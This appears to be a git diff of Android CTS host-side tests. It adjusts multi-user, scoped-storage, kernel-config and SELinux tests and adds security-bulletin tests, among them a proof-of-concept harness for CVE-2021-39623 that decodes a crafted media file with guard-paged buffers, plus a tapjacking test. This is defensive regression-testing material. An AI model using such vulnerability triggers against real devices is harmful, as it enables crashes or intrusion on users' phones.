         <option name="media-download-only" value="true" />
     </target_preparer>
@@ -32,11 +37,6 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsMediaBitstreamsDeviceSideTestApp.apk" />
     </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
-        <option name="target" value="device" />
-        <option name="config-filename" value="CtsMediaBitstreamsTestCases" />
-        <option name="version" value="9.0_r1"/>
-    </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ReportLogCollector">
         <option name="src-dir" value="/sdcard/report-log-files/"/>
         <option name="dest-dir" value="report-log-files/"/>
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/SecondaryUsersTest.java b/hostsidetests/multiuser/src/android/host/multiuser/SecondaryUsersTest.java
index 139a35c..7f3a817 100644
--- a/hostsidetests/multiuser/src/android/host/multiuser/SecondaryUsersTest.java
+++ b/hostsidetests/multiuser/src/android/host/multiuser/SecondaryUsersTest.java
@@ -20,6 +20,7 @@
 import android.host.multiuser.BaseMultiUserTest.SupportsMultiUserRule;
 
 import com.android.compatibility.common.util.CddTest;
+import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Rule;
@@ -35,9 +36,11 @@
 public final class SecondaryUsersTest extends BaseMultiUserTest {
 
     // Extra time to give the system to switch into secondary user after boot complete.
-    private static final long SECONDARY_USER_BOOT_COMPLETE_TIMEOUT_MS = 30000;
+    private static final long SECONDARY_USER_BOOT_COMPLETE_TIMEOUT_MS = 100_000;
 
-    private static final long POLL_INTERVAL_MS = 100;
+    private static final long POLL_INTERVAL_MS = 1_000;
+    private static final long WAIT_FOR_DEVICE_READY_INTERVAL_MS = 10_000;
+    private static final long WAIT_FOR_BOOT_COMPLETE_INTERVAL_MINUTES = 2;
 
     @Rule
     public final SupportsMultiUserRule mSupportsMultiUserRule = new SupportsMultiUserRule(this);
@@ -47,26 +50,42 @@
     public void testSwitchToSecondaryUserBeforeBootComplete() throws Exception {
         assumeIsAutomotive();
 
+        CLog.d("Rebooting");
         getDevice().nonBlockingReboot();
+        CLog.d("Waiting " + WAIT_FOR_BOOT_COMPLETE_INTERVAL_MINUTES + " minutes for boot complete");
         getDevice().waitForBootComplete(TimeUnit.MINUTES.toMillis(2));
+        CLog.d("Boot completed; waiting until current user is a secondary user");
 
+        int currentUser = -10000; // UserHandle.USER_NULL;
         boolean isUserSecondary = false;
         long ti = System.currentTimeMillis();
 
-        // TODO(b/138944230): Verify if current user is secondary when the UI is ready for user
+        // TODO(b/208518721): Verify if current user is secondary when the UI is ready for user
         // interaction. A possibility is to check if the CarLauncher is started in the
         // Activity Stack, but this becomes tricky in OEM implementation, where CarLauncher is
         // replaced with another launcher. Launcher can usually identify by
         // android.intent.category.HOME (type=home) and priority = -1000. But there is no clear way
         // to determine this via adb.
-        while (System.currentTimeMillis() - ti < SECONDARY_USER_BOOT_COMPLETE_TIMEOUT_MS) {
-            isUserSecondary = getDevice().isUserSecondary(getDevice().getCurrentUser());
-            if (isUserSecondary) {
-                break;
+        while (!isUserSecondary
+                && System.currentTimeMillis() - ti < SECONDARY_USER_BOOT_COMPLETE_TIMEOUT_MS) {
+            try {
+                currentUser = getDevice().getCurrentUser();
+                isUserSecondary = getDevice().isUserSecondary(currentUser);
+                CLog.d("Current user: %d isSecondary: %b", currentUser, isUserSecondary);
+                if (isUserSecondary) {
+                    CLog.d("Saul Goodman!");
+                    break;
+                }
+                CLog.v("Sleeping for %d ms as user %d is not a secondary user yet",
+                        POLL_INTERVAL_MS, currentUser);
+                Thread.sleep(POLL_INTERVAL_MS);
+            } catch (Exception e) {
+                CLog.d("Device not available yet (%s); sleeping for %d ms", e,
+                        WAIT_FOR_DEVICE_READY_INTERVAL_MS);
+                Thread.sleep(WAIT_FOR_DEVICE_READY_INTERVAL_MS);
             }
-            Thread.sleep(POLL_INTERVAL_MS);
         }
-        assertWithMessage("Must switch to secondary user before boot complete")
+        assertWithMessage("Current user (%s) is a secondary user after boot", currentUser)
                 .that(isUserSecondary).isTrue();
     }
 }
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
index cd9378d..72cd866 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
@@ -20,6 +20,8 @@
 
 import android.platform.test.annotations.AppModeFull;
 
+import com.android.modules.utils.build.testing.DeviceSdkLevel;
+import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.junit4.DeviceTestRunOptions;
@@ -147,24 +149,36 @@
     @Test
     public void testCheckInstallerAppAccessToObbDirs() throws Exception {
         allowAppOps("android:request_install_packages");
-        grantPermissions("android.permission.WRITE_EXTERNAL_STORAGE");
+        // WRITE_EXTERNAL_STORAGE is no-op for Installers T onwards
+        if (isSdkLevelLessThanT()) {
+            grantPermissions("android.permission.WRITE_EXTERNAL_STORAGE");
+        }
         try {
             runDeviceTest("testCheckInstallerAppAccessToObbDirs");
         } finally {
             denyAppOps("android:request_install_packages");
-            revokePermissions("android.permission.WRITE_EXTERNAL_STORAGE");
+            // WRITE_EXTERNAL_STORAGE is no-op for Installers T onwards
+            if (isSdkLevelLessThanT()) {
+                revokePermissions("android.permission.WRITE_EXTERNAL_STORAGE");
+            }
         }
     }
 
     @Test
     public void testCheckInstallerAppCannotAccessDataDirs() throws Exception {
         allowAppOps("android:request_install_packages");
-        grantPermissions("android.permission.WRITE_EXTERNAL_STORAGE");
+        // WRITE_EXTERNAL_STORAGE is no-op for Installers T onwards
+        if (isSdkLevelLessThanT()) {
+            grantPermissions("android.permission.WRITE_EXTERNAL_STORAGE");
+        }
         try {
             runDeviceTest("testCheckInstallerAppCannotAccessDataDirs");
         } finally {
             denyAppOps("android:request_install_packages");
-            revokePermissions("android.permission.WRITE_EXTERNAL_STORAGE");
+            // WRITE_EXTERNAL_STORAGE is no-op for Installers T onwards
+            if (isSdkLevelLessThanT()) {
+                revokePermissions("android.permission.WRITE_EXTERNAL_STORAGE");
+            }
         }
     }
 
@@ -389,4 +403,9 @@
             executeShellCommand("cmd appops set --uid android.scopedstorage.cts " + op + " deny");
         }
     }
+
+    private boolean isSdkLevelLessThanT() throws DeviceNotAvailableException {
+        DeviceSdkLevel deviceSdkLevel = new DeviceSdkLevel(getDevice());
+        return !deviceSdkLevel.isDeviceAtLeastT();
+    }
 }
diff --git a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
index ad99a5a..44e616d 100644
--- a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
+++ b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
@@ -187,7 +187,8 @@
 
         if (mitigationInfoMeltdown != null && mitigationInfoSpectreV2 != null &&
             !mitigationInfoMeltdown.contains("Vulnerable") &&
-            !mitigationInfoSpectreV2.contains("Vulnerable"))
+            (!mitigationInfoSpectreV2.contains("Vulnerable") ||
+              mitigationInfoSpectreV2.equals("Vulnerable: Unprivileged eBPF enabled\n")))
                 return "VULN_SAFE";
 
         for (String nodeInfo : pathList) {
diff --git a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
index 573035c..dea2688 100644
--- a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
+++ b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
@@ -116,8 +116,6 @@
     private File devicePcFile;
     private File deviceSvcFile;
     private File seappNeverAllowFile;
-    private File libsepolwrap;
-    private File libcpp;
     private File copyLibcpp;
     private File sepolicyTests;
 
@@ -907,29 +905,8 @@
         return (os.startsWith("mac") || os.startsWith("darwin"));
     }
 
-    private void setupLibraries() throws Exception {
-        // The host side binary tests are host OS specific. Use Linux
-        // libraries on Linux and Mac libraries on Mac.
-        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuild);
-        if (isMac()) {
-            libsepolwrap = buildHelper.getTestFile("libsepolwrap.dylib");
-            libcpp = buildHelper.getTestFile("libc++.dylib");
-            copyLibcpp = new File(System.getProperty("java.io.tmpdir") + "/libc++.dylib");
-            Files.copy(libcpp.toPath(), copyLibcpp.toPath(), StandardCopyOption.REPLACE_EXISTING);
-        } else {
-            libsepolwrap = buildHelper.getTestFile("libsepolwrap.so");
-            libcpp = buildHelper.getTestFile("libc++.so");
-            copyLibcpp = new File(System.getProperty("java.io.tmpdir") + "/libc++.so");
-            Files.copy(libcpp.toPath(), copyLibcpp.toPath(), StandardCopyOption.REPLACE_EXISTING);
-        }
-        libsepolwrap.deleteOnExit();
-        libcpp.deleteOnExit();
-        copyLibcpp.deleteOnExit();
-    }
-
     private void assertSepolicyTests(String test, String testExecutable,
             boolean includeVendorSepolicy) throws Exception {
-        setupLibraries();
         sepolicyTests = copyResourceToTempFile(testExecutable);
         sepolicyTests.setExecutable(true);
 
@@ -951,12 +928,6 @@
         }
 
         ProcessBuilder pb = new ProcessBuilder(args);
-        Map<String, String> env = pb.environment();
-        if (isMac()) {
-            env.put("DYLD_LIBRARY_PATH", System.getProperty("java.io.tmpdir"));
-        } else {
-            env.put("LD_LIBRARY_PATH", System.getProperty("java.io.tmpdir"));
-        }
         pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
         pb.redirectErrorStream(true);
         Process p = pb.start();
@@ -1367,7 +1338,7 @@
     @CddTest(requirement="9.7")
     @Test
     public void testDrmServerDomain() throws DeviceNotAvailableException {
-        assertDomainN("u:r:drmserver:s0", "/system/bin/drmserver", "/system/bin/drmserver64");
+        assertDomainHasExecutable("u:r:drmserver:s0", "/system/bin/drmserver", "/system/bin/drmserver64");
     }
 
     /* Installd is always running */
diff --git a/hostsidetests/securitybulletin/Android.bp b/hostsidetests/securitybulletin/Android.bp
index 323d5b7..2524227 100644
--- a/hostsidetests/securitybulletin/Android.bp
+++ b/hostsidetests/securitybulletin/Android.bp
@@ -23,7 +23,6 @@
     java_resource_dirs: ["res"],
     // tag this module as a cts test artifact
     test_suites: [
-        "cts",
         "general-tests",
         "sts",
     ],
@@ -44,6 +43,7 @@
 
 cc_defaults {
     name: "cts_hostsidetests_securitybulletin_defaults",
+    auto_gen_config: false,
     compile_multilib: "both",
     multilib: {
         lib32: {
@@ -60,7 +60,6 @@
         },
     },
     test_suites: [
-        "cts",
         "sts",
         "general-tests",
     ],
diff --git a/hostsidetests/securitybulletin/res/cve_2021_39623.ogg b/hostsidetests/securitybulletin/res/cve_2021_39623.ogg
new file mode 100644
index 0000000..1992a17
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_39623.ogg
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2022_22082.dsf b/hostsidetests/securitybulletin/res/cve_2022_22082.dsf
new file mode 100644
index 0000000..60d1a5a
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2022_22082.dsf
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39623/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39623/Android.bp
new file mode 100644
index 0000000..50662fd
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39623/Android.bp
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2021-39623",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+    ],
+    header_libs: [
+        "libmediametrics_headers",
+    ],
+    shared_libs: [
+        "libstagefright",
+        "libdatasource",
+        "libutils",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39623/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39623/poc.cpp
new file mode 100644
index 0000000..d9e38ba
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39623/poc.cpp
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include <datasource/DataSourceFactory.h>
+#include <dlfcn.h>
+#include <gui/SurfaceComposerClient.h>
+#include <media/IMediaHTTPService.h>
+#include <media/stagefright/InterfaceUtils.h>
+#include <media/stagefright/MediaCodecList.h>
+#include <media/stagefright/MediaExtractorFactory.h>
+#include <media/stagefright/SimpleDecodingSource.h>
+#include <sys/mman.h>
+
+typedef void *(*mmap_t)(void *, size_t, int, int, int, off_t);
+mmap_t real_mmap = nullptr;
+
+using namespace android;
+
+bool testInProgress = false;
+constexpr size_t kTargetBufferSize = 32768;
+struct sigaction new_action, old_action;
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+  if (testInProgress && info->si_signo == SIGSEGV) {
+    (*old_action.sa_sigaction)(signum, info, context);
+    return;
+  }
+  exit(EXIT_FAILURE);
+}
+
+void *mmap(void *addr, size_t length, int prot, int flags, int fd,
+           off_t offset) {
+  real_mmap = (mmap_t)dlsym(RTLD_NEXT, "mmap");
+  if (!real_mmap) {
+    exit(EXIT_FAILURE);
+  }
+  if (length == kTargetBufferSize) {
+    char *tmp_ptr = (char *)real_mmap(addr, length + PAGE_SIZE, prot,
+                                      flags | MAP_ANONYMOUS, -1, offset);
+    mprotect(tmp_ptr + length, PAGE_SIZE, PROT_NONE);
+    return tmp_ptr;
+  }
+  return real_mmap(addr, length, prot, flags, fd, offset);
+}
+
+int main(int argc, char **argv) {
+  FAIL_CHECK(argc > 1);
+  sigemptyset(&new_action.sa_mask);
+  new_action.sa_flags = SA_SIGINFO;
+  new_action.sa_sigaction = sigsegv_handler;
+  sigaction(SIGSEGV, &new_action, &old_action);
+
+  sp<DataSource> dataSource = DataSourceFactory::getInstance()->CreateFromURI(
+      nullptr /* httpService */, argv[1]);
+  FAIL_CHECK(dataSource);
+
+  sp<IMediaExtractor> extractor = MediaExtractorFactory::Create(dataSource);
+  FAIL_CHECK(extractor);
+
+  sp<MediaSource> mediaSource =
+      CreateMediaSourceFromIMediaSource(extractor->getTrack(0));
+  FAIL_CHECK(mediaSource);
+
+  sp<MediaSource> rawSource = SimpleDecodingSource::Create(
+      mediaSource, MediaCodecList::kPreferSoftwareCodecs, nullptr, nullptr,
+      false);
+  FAIL_CHECK(rawSource);
+
+  status_t err = rawSource->start();
+  FAIL_CHECK(err == OK);
+
+  MediaSource::ReadOptions options = {};
+  MediaBufferBase *buffer = nullptr;
+
+  testInProgress = true;
+  rawSource->read(&buffer, &options);
+  testInProgress = false;
+  if (buffer) {
+    buffer->release();
+    buffer = nullptr;
+  }
+  options.clearSeekTo();
+  options.setSeekTo(0);
+  rawSource->stop();
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
index c8e8cbf..52141c6 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
@@ -16,44 +16,41 @@
 
 package android.security.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
 import com.android.compatibility.common.util.CrashUtils;
 import com.android.compatibility.common.util.MetricsReportLog;
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
+import com.android.ddmlib.CollectingOutputReceiver;
 import com.android.ddmlib.IShellOutputReceiver;
 import com.android.ddmlib.NullOutputReceiver;
-import com.android.ddmlib.CollectingOutputReceiver;
+import com.android.sts.common.tradefed.testtype.SecurityTestCase;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.device.NativeDevice;
 import com.android.tradefed.log.LogUtil.CLog;
 
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+
 import java.io.BufferedOutputStream;
 import java.io.File;
 import java.io.FileOutputStream;
 import java.io.InputStream;
 import java.io.OutputStream;
-import java.util.concurrent.TimeoutException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
 import java.util.List;
 import java.util.Map;
+import java.util.Scanner;
+import java.util.concurrent.TimeUnit;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
-import java.util.concurrent.TimeUnit;
-import java.util.Scanner;
-import java.util.Arrays;
-import java.util.ArrayList;
-import java.util.concurrent.Callable;
-import java.util.Collections;
-
-import org.json.JSONArray;
-import org.json.JSONException;
-import org.json.JSONObject;
-
-import java.util.regex.Pattern;
-import java.lang.Thread;
-
-import static org.junit.Assert.*;
-import static org.junit.Assume.*;
 
 public class AdbUtils {
 
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_182282630.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_182282630.java
index 0822c75..6a259b4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_182282630.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_182282630.java
@@ -16,19 +16,20 @@
 
 package android.security.cts;
 
-import static org.junit.Assume.assumeTrue;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import org.junit.Test;
-import org.junit.Before;
-import org.junit.runner.RunWith;
-
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_182282630 extends SecurityTestCase {
+public final class Bug_182282630 extends NonRootSecurityTestCase {
     private static final String TEST_PKG = "android.security.cts.BUG_182282630";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
     private static final String TEST_APP = "BUG-182282630.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_182808318.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_182808318.java
index 57e2635..52f680e 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_182808318.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_182808318.java
@@ -21,14 +21,15 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import org.junit.Test;
-import org.junit.Before;
-import org.junit.runner.RunWith;
-
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_182808318 extends SecurityTestCase {
+public final class Bug_182808318 extends NonRootSecurityTestCase {
     private static final String TEST_PKG = "android.security.cts.BUG_182808318";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
     private static final String TEST_APP = "BUG-182808318.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_182810085.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_182810085.java
new file mode 100644
index 0000000..b461fae
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_182810085.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Bug_182810085 extends NonRootSecurityTestCase {
+    private static final String TEST_PKG = "android.security.cts.BUG_182810085";
+    private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+    private static final String TEST_APP = "BUG-182810085.apk";
+
+    @Before
+    public void setUp() throws Exception {
+        assumeTrue(
+                "not an Automotive device",
+                getDevice().hasFeature("feature:android.hardware.type.automotive"));
+        uninstallPackage(getDevice(), TEST_PKG);
+    }
+
+    @Test
+    @AsbSecurityTest(cveBugId = 182810085)
+    public void testRunDeviceTestsPassesFull() throws Exception {
+        installPackage(TEST_APP);
+        // Grant permission to draw overlays.
+        getDevice().executeShellCommand(
+                "pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW");
+        assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testTapjacking"));
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183410508.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183410508.java
index e3dd727..1295a85 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183410508.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183410508.java
@@ -16,19 +16,20 @@
 
 package android.security.cts;
 
-import static org.junit.Assume.assumeTrue;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import org.junit.Test;
-import org.junit.Before;
-import org.junit.runner.RunWith;
-
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_183410508 extends SecurityTestCase {
+public final class Bug_183410508 extends NonRootSecurityTestCase {
     private static final String TEST_PKG = "android.security.cts.BUG_183410508";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
     private static final String TEST_APP = "BUG-183410508.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183411210.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183411210.java
index d59fce4..fac7d0e 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183411210.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183411210.java
@@ -21,6 +21,7 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Before;
@@ -28,7 +29,7 @@
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_183411210 extends SecurityTestCase {
+public final class Bug_183411210 extends NonRootSecurityTestCase {
     private static final String TEST_PKG = "android.security.cts.BUG_183411210";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
     private static final String TEST_APP = "BUG-183411210.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183411279.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183411279.java
index df7556c..bbcd64c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183411279.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183411279.java
@@ -16,19 +16,20 @@
 
 package android.security.cts;
 
-import static org.junit.Assume.assumeTrue;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import org.junit.Test;
-import org.junit.Before;
-import org.junit.runner.RunWith;
-
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_183411279 extends SecurityTestCase {
+public final class Bug_183411279 extends NonRootSecurityTestCase {
     private static final String TEST_PKG = "android.security.cts.BUG_183411279";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
     private static final String TEST_APP = "BUG-183411279.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java
index 75bbd0a..f0b6568 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java
@@ -23,10 +23,10 @@
 import org.junit.Before;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_183613671 extends StsExtraBusinessLogicHostTestBase {
+public final class Bug_183613671 extends NonRootSecurityTestCase {
     private static final String TEST_PKG = "android.security.cts.BUG_183613671";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
     private static final String TEST_APP = "BUG-183613671.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183794206.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183794206.java
index 73cfdb9..8045838 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183794206.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183794206.java
@@ -16,19 +16,20 @@
 
 package android.security.cts;
 
-import static org.junit.Assume.assumeTrue;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import org.junit.Test;
-import org.junit.Before;
-import org.junit.runner.RunWith;
-
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_183794206 extends SecurityTestCase {
+public final class Bug_183794206 extends NonRootSecurityTestCase {
     private static final String TEST_PKG = "android.security.cts.BUG_183794206";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
     private static final String TEST_APP = "BUG-183794206.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java
index adf6103..7b183b3 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java
@@ -25,10 +25,10 @@
 import org.junit.runner.RunWith;
 
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_183963253 extends StsExtraBusinessLogicHostTestBase {
+public final class Bug_183963253 extends NonRootSecurityTestCase {
     private static final String TEST_PKG = "android.security.cts.BUG_183963253";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
     private static final String TEST_APP = "BUG-183963253.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_187957589.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_187957589.java
index 84ae114..5580acb 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_187957589.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_187957589.java
@@ -15,15 +15,19 @@
  */
 
 package android.security.cts;
+
 import static org.junit.Assume.assumeFalse;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class Bug_187957589 extends SecurityTestCase {
+public class Bug_187957589 extends NonRootSecurityTestCase {
     /**
      * b/187957589
      * Vulnerability Behaviour: out of bounds write in noteAtomLogged for negative atom ids.
